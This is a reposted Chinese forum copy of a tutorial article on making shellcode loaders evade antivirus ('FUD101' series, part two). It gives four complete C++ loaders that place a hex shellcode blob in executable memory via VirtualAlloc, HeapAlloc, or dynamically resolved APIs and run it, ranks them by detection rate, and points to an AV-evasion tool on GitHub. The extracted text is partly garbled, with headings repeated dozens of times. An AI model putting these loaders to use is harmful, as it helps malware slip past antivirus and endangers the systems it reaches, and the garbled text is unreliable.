搜索

[6827] 2020-07-19_执行方式免杀之调用API（FUD101连载二）

文档创建者：s7ckTeam
浏览次数：54
最后更新：2025-01-17
2020-07-19_执行方式免杀之调用API（FUD101连载二） 执 行 方 式 免 杀 之 调 用   A P I （ F U D 1 0 1 连 载 二 ） E 安 全   2 0 2 0 - 0 7 - 1 9 以 下 文 章 来 源 于 雷 神 众 测   ， 作 者 1 y 0 n 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 由 于 传 播 、 利 用 此 文 所 提 供 的 信 息 而 造 成 的 任 何 直 接 或 者 间 接 的 后 果 及 损 失 ， 均 由 使 用 者 本 人 负 责 ， 雷 神 众 测 以 及 文 章 作 者 不 为 此 承 担 任 何 责 任 。 雷 神 众 测 拥 有 对 此 文 章 的 修 改 和 解 释 权 。 如 欲 转 载 或 传 播 此 文 章 ， 必 须 保 证 此 文 章 的 完 整 性 ， 包 括 版 权 声 明 等 全 部 内 容 。 未 经 雷 神 众 测 允 许 ， 不 得 任 意 修 改 或 者 增 减 此 文 章 内 容 ， 不 得 以 任 何 方 式 将 其 用 于 商 业 目 的 。 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 针 对 本 篇 及 后 续 文 章 中 用 到 的 部 分 技 术 ， 我 已 经 写 好 了 相 关 代 码 ， 用 于 快 速 生 成 免 杀 的 可 执 行 程 序 ， 源 代 码 放 在 了 针 对 本 篇 及 后 续 文 章 中 用 到 的 部 分 技 术 ， 我 已 经 写 好 了 相 关 代 码 ， 用 于 快 速 生 成 免 杀 的 可 执 行 程 序 ， 源 代 码 放 在 了 ( g i t h u b ) [ h t t p s : / / g i t h u b . c o m / 1 y 0 n / A V _ E v a s i o n _ T o o l ] 上 ， 也 可 以 直 接 下 载 编 译 好 上 ， 也 可 以 直 接 下 载 编 译 好 的 的 ( 程 序 程 序 ) [ h t t p s : / / g i t h u b . c o m / 1 y 0 n / A V _ E v a s i o n _ T o o l / r e l e a s e s ] 工 具 界 面 如 下 ： 效 果 如 下 ： 注 意 ： 本 章 节 中 所 有 代 码 均 为 注 意 ： 本 章 节 中 所 有 代 码 均 为   C + + ， 开 发 环 境 为 ， 开 发 环 境 为   V S 2 0 1 9 在 这 一 章 节 中 ， 我 们 将 学 习 几 种 常 见 的   A P I   及 他 们 的 调 用 方 式 。 首 先 需 要 了 解 几 个 名 词 ： A P I :   应 用 程 序 接 口 A P I 为 “ ‘ 电 脑 操 作 系 统 （ O p e r a t i n g   s y s t e m ） ’ 或 ‘ 程 序 库 ’ 提 供 给 应 用 程 序 调 用 使 用 的 代 码 ” 。 其 主 要 目 的 是 让 应 用 程 序 开 发 人 员 得 以 调 用 一 组 例 程 功 能 ， 而 无 须 考 虑 其 底 层 的 源 代 码 为 何 、 或 理 解 其 内 部 工 作 机 制 的 细 节 。 A P I 本 身 是 抽 象 的 ， 它 仅 定 义 了 一 个 接 口 ， 而 不 涉 及 应 用 程 序 在 实 际 实 现 过 程 中 的 具 体 操 作 。 （ 来 自 维 基 百 科 ） I A T :   I A T 的 全 称 是 I m p o r t   A d d r e s s   T a b l e 。 I A T 表 是 执 行 程 序 或 者 d l l 为 了 实 现 动 态 加 载 和 重 定 位 函 数 地 址 ， 用 到 的 一 个 导 入 函 数 地 址 表 。 这 里 面 记 录 了 每 个 导 入 函 数 的 名 字 和 所 在 的 d l l 名 称 ， 在 p e 加 载 的 时 候 系 统 会 加 载 这 些 d l l 到 用 户 的 地 址 空 间 然 后 把 函 数 地 址 覆 盖 这 个 表 里 的 函 数 地 址 ， 然 后 重 构 所 有 用 到 这 个 表 的 代 码 ， 让 其 调 用 直 接 指 向 实 际 函 数 地 址 （ P E 是 否 覆 盖 不 确 定 ， 驱 动 会 这 么 做 ） ， P E 的 I A T 表 会 留 在 内 存 ， 驱 动 的 就 丢 弃 了 。 （ 来 自 C S D N ） 雷 神 众 测 雷 神 众 测   . 雷 神 众 测 ， 专 注 于 渗 透 测 试 技 术 及 全 球 最 新 网 络 攻 击 技 术 的 分 析 。
使 用   P E v i e w   可 以 看 到 一 个 程 序 的   I A T ， 杀 毒 软 件 在 进 行 查 杀 时 ， I A T   也 是 查 杀 的 一 个 重 要 依 据 。 N o . 1 N o . 1 V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c   主 要 用 于 申 请 一 块 内 存 ， 其 官 方 定 义 如 下 ： L P V O I D   V i r t u a l A l l o c {         L P V O I D   l p A d d r e s s ,   / /   要 分 配 的 内 存 区 域 的 地 址         D W O R D   d w S i z e ,   / /   分 配 的 大 小         D W O R D   f l A l l o c a t i o n T y p e ,   / /   分 配 的 类 型         D W O R D   f l P r o t e c t   / /   该 内 存 的 初 始 保 护 属 性 } ; h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / w i n d o w s / w i n 3 2 / a p i / m e m o r y a p i / n f - m e m o r y a p i - v i r t u a l a l l o c 以 下 是 网 上 最 常 见 的 一 种 代 码 ： #   i n c l u d e   < w i n d o w s . h >     #   i n c l u d e   < s t d i o . h >     / / 打 开 W i n d o w s 计 算 器 u n s i g n e d   c h a r   s h e l l c o d e [ ]   = " x 2 b x c 9 x 8 3 x e 9 x c f x e 8 x f f x f f x f f x f f x c 0 x 5 e x 8 1 x 7 6 x 0 e x 6 5 x 8 7 x b e x d 4 x 8 3 x e e x f c x e 2 x f 4 x 9 9 x 6 f x 3 c x d 4 x 6 5 x 8 7 x d e x 5 d x 8 0 x b 6 x 7 e x b 0 x e e x d 7 x 8 e x 5 f x 3 7 x 8 b x 3 5 x 8 6 x 7 1 x 0 c x c c x f c x 6 a x 3 0 x f 4 x f 2 x 5 4 x 7 8 x 1 2 x e 8 x 0 4 x f b x b c x f 8 x 4 5 x 4 6 x 7 1 x d 9 x 6 4 x 4 0 x 5 c x 2 6 x 3 7 x d 0 x 3 5 x 8 6 x 7 5 x 0 c x f 4 x e 8 x e e x c b x a f x a c x 8 6 x c f x b f x 0 5 x 3 4 x 0 c x e 7 x f 4 x 6 4 x 5 4 x 3 5 x 9 d x 7 d x 6 4 x 8 4 x 9 d x e e x b 3 x 3 5 x d 5 x b 3 x b 6 x 4 1 x 7 8 x a 4 x 4 8 x b 3 x d 5 x a 2 x b f x 5 e x a 1 x 9 3 x 8 4 x c 3 x 2 c x 5 e x f a x 9 a x a 1 x 8 1 x d f x 3 5 x 8 c x 4 1 x 8 6 x 6 d x b 2 x e e x 8 b x f 5 x 5 f x 3 d x 9 b x b f x 0 7 x e e x 8 3 x 3 5 x d 5 x b 5 x 0 e x f a x f 0 x 4 1 x d c x e 5 x b 5 x 3 c x d d x e f x 2 b x 8 5 x d 8 x e 1 x 8 e x e e x 9 5 x 5 5 x 5 9 x 3 8 x e d x b f x 5 9 x e 0 x 3 5 x b e x d 4 x 6 5 x d 7 x d 6 x e 5 x e e x e 8 x 3 9 x 2 b x b 0 x 3 c x 4 e x 6 1 x c 7 x d 1 x d 6 x 7 2 x f 0 x 3 a x 2 3 x 2 b x b 0 x b b x b 8 x a 8 x 6 f x 0 7 x 4 5 x 3 4 x 1 0 x 8 2 x 0 5 x 9 3 x 7 6 x f 5 x d 1 x b e x 6 5 x d 4 x 4 1 x 0 1 x 0 6 x e 6 x d 2 x b 7 x 4 b x e 2 x c 6 x b 1 x 6 5 x 8 7 x b e x d 4 " ; v o i d   m a i n ( ) {         c h a r *   p   =   V i r t u a l A l l o c ( N U L L ,   s i z e o f ( s h e l l c o d e ) ,   M E M _ C O M M I T   |   M E M _ R E S E R V E ,   P A G E _ E X E C U T E _ R E A D W R I T E ) ;         m e m c p y ( p ,   s h e l l c o d e ,   s i z e o f ( s h e l l c o d e ) ) ;         ( * ( v o i d ( * ) ( ) ) p ) ( ) ; } 执 行 流 程 为 首 先 用   V i r t u a l A l l o c   申 请 内 存 ， m e m e c p y   复 制   s h e l l c o d e   到 这 块 内 存 中 ， 最 后 执 行 。 免 杀 效 果 一 般 （ 不 考 虑   s h e l l c o d e   的 影 响 ） ， 它 的   I A T   如 图 ： V i r t u a l A l l o c   事 实 上 被 杀 软 重 点 监 控 了 ， 我 们 就 可 以 直 接 想 到 一 个 思 路 ， 使 用 其 他 的   A P I   代 替   V i r t u a l A l l o c   。 N o . 2 N o . 2 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 替 换 V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c V i r t u a l A l l o c 有 几 个   A P I   可 以 替 换   V i r t u a l A l l o c ， 下 面 一 一 列 举 。 H e a p C r e a t e / H e a p A l l o c H e a p C r e a t e   官 方 定 义 ： H A N D L E   H e a p C r e a t e (           D W O R D     f l O p t i o n s ,         / / 堆 分 配 标 志           S I Z E _ T   d w I n i t i a l S i z e ,   / / 初 始 堆 大 小               S I Z E _ T   d w M a x i m u m S i z e     / / 最 大 堆 大 小 ) ; H e a p A l l o c   官 方 定 义 ： D E C L S P E C _ A L L O C A T O R   L P V O I D   H e a p A l l o c (           H A N D L E   h H e a p ,             / / 处 理 私 有 堆 块           D W O R D     d w F l a g s ,         / / 堆 分 配 控 制 标 志           S I Z E _ T   d w B y t e s           / / 要 分 配 的 字 节 数 ) ; 经 过 测 试 ， 这 种 方 式 比   V i r t u a l A l l o c   检 出 率 还 高 … … 不 过 还 是 贴 一 下 代 码 吧 ： #   i n c l u d e   < w i n d o w s . h >     #   i n c l u d e   < s t d i o . h >     v o i d   m a i n ( ) {         u n s i g n e d   c h a r   c o d e [ ]   = " x 2 b x c 9 x 8 3 x e 9 x c f x e 8 x f f x f f x f f x f f x c 0 x 5 e x 8 1 x 7 6 x 0 e x 6 5 x 8 7 x b e x d 4 x 8 3 x e e x f c x e 2 x f 4 x 9 9 x 6 f x 3 c x d 4 x 6 5 x 8 7 x d e x 5 d x 8 0 x b 6 x 7 e x b 0 x e e x d 7 x 8 e x 5 f x 3 7 x 8 b x 3 5 x 8 6 x 7 1 x 0 c x c c x f c x 6 a x 3 0 x f 4 x f 2 x 5 4 x 7 8 x 1 2 x e 8 x 0 4 x f b x b c x f 8 x 4 5 x 4 6 x 7 1 x d 9 x 6 4 x 4 0 x 5 c x 2 6 x 3 7 x d 0 x 3 5 x 8 6 x 7 5 x 0 c x f 4 x e 8 x e e x c b x a f x a c x 8 6 x c f x b f x 0 5 x 3 4 x 0 c x e 7 x f 4 x 6 4 x 5 4 x 3 5 x 9 d x 7 d x 6 4 x 8 4 x 9 d x e e x b 3 x 3 5 x d 5 x b 3 x b 6 x 4 1 x 7 8 x a 4 x 4 8 x b 3 x d 5 x a 2 x b f x 5 e x a 1 x 9 3 x 8 4 x c 3 x 2 c x 5 e x f a x 9 a x a 1 x 8 1 x d f x 3 5 x 8 c x 4 1 x 8 6 x 6 d x b 2 x e e x 8 b x f 5 x 5 f x 3 d x 9 b x b f x 0 7 x e e x 8 3 x 3 5 x d 5 x b 5 x 0 e x f a x f 0 x 4 1 x d c x e 5 x b 5 x 3 c x d d x e f x 2 b x 8 5 x d 8 x e 1 x 8 e x e e x 9 5 x 5 5 x 5 9 x 3 8 x e d x b f x 5 9 x e 0 x 3 5 x b e x d 4 x 6 5 x d 7 x d 6 x e 5 x e e x e 8 x 3 9 x 2 b x b 0 x 3 c x 4 e x 6 1 x c 7 x d 1 x d 6 x 7 2 x f 0 x 3 a x 2 3 x 2 b x b 0 x b b x b 8 x a 8 x 6 f x 0 7 x 4 5 x 3 4 x 1 0 x 8 2 x 0 5 x 9 3 x 7 6 x f 5 x d 1 x b e x 6 5 x d 4 x 4 1 x 0 1 x 0 6 x e 6 x d 2 x b 7 x 4 b x e 2 x c 6 x b 1 x 6 5 x 8 7 x b e x d 4 " ;         H A N D L E   H e a p H a n d l e   =   H e a p C r e a t e ( H E A P _ C R E A T E _ E N A B L E _ E X E C U T E ,   s i z e o f ( c o d e ) ,   s i z e o f ( c o d e ) ) ;         c h a r *   B U F F E R   =   ( c h a r * ) H e a p A l l o c ( H e a p H a n d l e ,   H E A P _ Z E R O _ M E M O R Y ,   s i z e o f ( c o d e ) ) ;         m e m c p y ( B U F F E R ,   c o d e ,   s i z e o f ( c o d e ) ) ;         ( * ( v o i d ( * ) ( ) ) B U F F E R ) ( ) ; } L o a d L i b r a r y / G e t P r o c A d d r e s s L o a d L i b r a r y   官 方 定 义 ：
H M O D U L E   L o a d L i b r a r y A (           L P C S T R   l p L i b F i l e N a m e       / / 文 件 名 ) ; G e t P r o c A d d r e s s   官 方 定 义 ： F A R P R O C   G e t P r o c A d d r e s s (           H M O D U L E   h M o d u l e ,           / / D L L 句 柄           L P C S T R     l p P r o c N a m e       / / 函 数 名 称 ) ; 方 法 是 ： 用   L o a d L i b r a r y   函 数 加 载 动 态 链 接 库 到 内 存 ， 用   G e t P r o c A d d r e s s 函 数 动 态 获 得   D L L   函 数 的 入 口 地 址 。 当 一 个   D L L   文 件 用   L o a d L i b r a r y   显 式 加 载 后 ， 在 任 何 时 刻 均 可 以 通 过 调 用   F r e e L i b r a r y   函 数 显 式 地 从 内 存 中 把 它 给 卸 载 。 这 种 方 法 比   V i r t u a l A l l o c   效 果 好 一 点 。 #   i n c l u d e   < w i n d o w s . h >     #   i n c l u d e   < s t d i o . h >     v o i d   m a i n ( ) {         t y p e d e f   L P V O I D ( W I N A P I *   V i r t u a l A l l o c B ) ( L P V O I D   l p A d d r e s s ,   S I Z E _ T   d w S i z e ,   D W O R D   f l A l l o c a t i o n T y p e ,   D W O R D   f l P r o t e c t ) ;         V i r t u a l A l l o c B   p   =   ( V i r t u a l A l l o c B ) G e t P r o c A d d r e s s ( L o a d L i b r a r y ( " k e r n e l 3 2 " ) ,   " V i r t u a l A l l o c " ) ;         u n s i g n e d   c h a r   c o d e [ ]   = " x 2 b x c 9 x 8 3 x e 9 x c f x e 8 x f f x f f x f f x f f x c 0 x 5 e x 8 1 x 7 6 x 0 e x 6 5 x 8 7 x b e x d 4 x 8 3 x e e x f c x e 2 x f 4 x 9 9 x 6 f x 3 c x d 4 x 6 5 x 8 7 x d e x 5 d x 8 0 x b 6 x 7 e x b 0 x e e x d 7 x 8 e x 5 f x 3 7 x 8 b x 3 5 x 8 6 x 7 1 x 0 c x c c x f c x 6 a x 3 0 x f 4 x f 2 x 5 4 x 7 8 x 1 2 x e 8 x 0 4 x f b x b c x f 8 x 4 5 x 4 6 x 7 1 x d 9 x 6 4 x 4 0 x 5 c x 2 6 x 3 7 x d 0 x 3 5 x 8 6 x 7 5 x 0 c x f 4 x e 8 x e e x c b x a f x a c x 8 6 x c f x b f x 0 5 x 3 4 x 0 c x e 7 x f 4 x 6 4 x 5 4 x 3 5 x 9 d x 7 d x 6 4 x 8 4 x 9 d x e e x b 3 x 3 5 x d 5 x b 3 x b 6 x 4 1 x 7 8 x a 4 x 4 8 x b 3 x d 5 x a 2 x b f x 5 e x a 1 x 9 3 x 8 4 x c 3 x 2 c x 5 e x f a x 9 a x a 1 x 8 1 x d f x 3 5 x 8 c x 4 1 x 8 6 x 6 d x b 2 x e e x 8 b x f 5 x 5 f x 3 d x 9 b x b f x 0 7 x e e x 8 3 x 3 5 x d 5 x b 5 x 0 e x f a x f 0 x 4 1 x d c x e 5 x b 5 x 3 c x d d x e f x 2 b x 8 5 x d 8 x e 1 x 8 e x e e x 9 5 x 5 5 x 5 9 x 3 8 x e d x b f x 5 9 x e 0 x 3 5 x b e x d 4 x 6 5 x d 7 x d 6 x e 5 x e e x e 8 x 3 9 x 2 b x b 0 x 3 c x 4 e x 6 1 x c 7 x d 1 x d 6 x 7 2 x f 0 x 3 a x 2 3 x 2 b x b 0 x b b x b 8 x a 8 x 6 f x 0 7 x 4 5 x 3 4 x 1 0 x 8 2 x 0 5 x 9 3 x 7 6 x f 5 x d 1 x b e x 6 5 x d 4 x 4 1 x 0 1 x 0 6 x e 6 x d 2 x b 7 x 4 b x e 2 x c 6 x b 1 x 6 5 x 8 7 x b e x d 4 " ;         c h a r *   a   =   ( c h a r * ) ( * p ) ( N U L L ,   s i z e o f ( c o d e ) ,   M E M _ C O M M I T ,   P A G E _ E X E C U T E _ R E A D W R I T E ) ;         m e m c p y ( a ,   c o d e ,   s i z e o f ( c o d e ) ) ;         ( * ( v o i d ( * ) ( ) ) a ) ( ) ; } G e t M o d u l e H a n d l e / G e t P r o c A d d r e s s G e t M o d u l e H a n d l e   官 方 定 义 ： H M O D U L E   G e t M o d u l e H a n d l e A (           L P C S T R   l p M o d u l e N a m e       / / 文 件 名 ) ; 方 法 是 ： 用   G e t M o d u l e H a n d l e   函 数 加 载 动 态 链 接 库 到 内 存 ， 用   G e t P r o c A d d r e s s 函 数 动 态 获 得   D L L   函 数 的 入 口 地 址 。 这 种 方 法 比   V i r t u a l A l l o c   效 果 好 很 多 。 #   i n c l u d e   < w i n d o w s . h >     #   i n c l u d e   < s t d i o . h >     v o i d   m a i n ( ) {             t y p e d e f   L P V O I D   ( W I N A P I *   V i r t u a l A l l o c B ) ( L P V O I D   l p A d d r e s s ,   S I Z E _ T   d w S i z e ,   D W O R D   f l A l l o c a t i o n T y p e ,   D W O R D   f l P r o t e c t ) ;         V i r t u a l A l l o c B   p   =   ( V i r t u a l A l l o c B ) G e t P r o c A d d r e s s ( G e t M o d u l e H a n d l e ( " k e r n e l 3 2 " ) ,   " V i r t u a l A l l o c " ) ;         u n s i g n e d   c h a r   c o d e [ ]   = " x 2 b x c 9 x 8 3 x e 9 x c f x e 8 x f f x f f x f f x f f x c 0 x 5 e x 8 1 x 7 6 x 0 e x 6 5 x 8 7 x b e x d 4 x 8 3 x e e x f c x e 2 x f 4 x 9 9 x 6 f x 3 c x d 4 x 6 5 x 8 7 x d e x 5 d x 8 0 x b 6 x 7 e x b 0 x e e x d 7 x 8 e x 5 f x 3 7 x 8 b x 3 5 x 8 6 x 7 1 x 0 c x c c x f c x 6 a x 3 0 x f 4 x f 2 x 5 4 x 7 8 x 1 2 x e 8 x 0 4 x f b x b c x f 8 x 4 5 x 4 6 x 7 1 x d 9 x 6 4 x 4 0 x 5 c x 2 6 x 3 7 x d 0 x 3 5 x 8 6 x 7 5 x 0 c x f 4 x e 8 x e e x c b x a f x a c x 8 6 x c f x b f x 0 5 x 3 4 x 0 c x e 7 x f 4 x 6 4 x 5 4 x 3 5 x 9 d x 7 d x 6 4 x 8 4 x 9 d x e e x b 3 x 3 5 x d 5 x b 3 x b 6 x 4 1 x 7 8 x a 4 x 4 8 x b 3 x d 5 x a 2 x b f x 5 e x a 1 x 9 3 x 8 4 x c 3 x 2 c x 5 e x f a x 9 a x a 1 x 8 1 x d f x 3 5 x 8 c x 4 1 x 8 6 x 6 d x b 2 x e e x 8 b x f 5 x 5 f x 3 d x 9 b x b f x 0 7 x e e x 8 3 x 3 5 x d 5 x b 5 x 0 e x f a x f 0 x 4 1 x d c x e 5 x b 5 x 3 c x d d x e f x 2 b x 8 5 x d 8 x e 1 x 8 e x e e x 9 5 x 5 5 x 5 9 x 3 8 x e d x b f x 5 9 x e 0 x 3 5 x b e x d 4 x 6 5 x d 7 x d 6 x e 5 x e e x e 8 x 3 9 x 2 b x b 0 x 3 c x 4 e x 6 1 x c 7 x d 1 x d 6 x 7 2 x f 0 x 3 a x 2 3 x 2 b x b 0 x b b x b 8 x a 8 x 6 f x 0 7 x 4 5 x 3 4 x 1 0 x 8 2 x 0 5 x 9 3 x 7 6 x f 5 x d 1 x b e x 6 5 x d 4 x 4 1 x 0 1 x 0 6 x e 6 x d 2 x b 7 x 4 b x e 2 x c 6 x b 1 x 6 5 x 8 7 x b e x d 4 " ;         c h a r *   a   =   ( c h a r * ) ( * p ) ( N U L L ,   s i z e o f ( c o d e ) ,   M E M _ C O M M I T ,   P A G E _ E X E C U T E _ R E A D W R I T E ) ;         m e m c p y ( a ,   c o d e ,   s i z e o f ( c o d e ) ) ;         ( * ( v o i d ( * ) ( ) ) a ) ( ) ; } 以 上 简 单 介 绍 了 几 个   A P I   的 调 用 方 式 ， 事 实 上 ， 在 实 际 测 试 时 发 现 ， 使 用   G e t M o d u l e H a n d l e   +   G e t P r o c A d d r e s s   +   反 沙 箱 代 码 ， 优 化 以 后 可 以 实 现   F U D （ 全 免 杀 ）   的 效 果 。 下 一 章 节 ， 我 们 将 开 始 学 习 如 何 使 用 汇 编 语 言 执 行   s h e l l c o d e   。 注 ： 本 文 转 载 自 雷 神 众 测 微 信 公 众 号 h t t p s : / / w w w . e a s y a q . c o m 推 荐 阅 读 ： T w i t t e r 遭 受 重 大 安 全 漏 洞   比 尔 盖 茨 、 拜 登 和 苹 果 等 几 十 个 知 名 T w i t t e r 帐 户 遭 遇 劫 持   S i g R e d 漏 洞 在 W i n d o w s 中 潜 伏 1 7 年 ！ 蠕 虫 病 毒 或 感 染 全 球 中 小 型 企 业 三 文 鱼 引 发 挪 威 海 鲜 安 全 危 机 ！ I B M 区 块 链 技 术 正 在 帮 助 其 追 溯 源 头 所 有 i P h o n e 设 备 都 可 能 被 解 锁 ！ 黑 客 发 布 新 款 越 狱 软 件 “ U n c 0 v e r ” 征 集   |   2 0 2 0 世 界 信 息 安 全 大 会 议 题 征 集 全 面 开 启 ！ ▼ 点 击 “ 阅 读 原 文 ”   查 看 更 多 精 彩 内 容 喜 欢 记 得 打 赏 小 E 哦 ！ 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理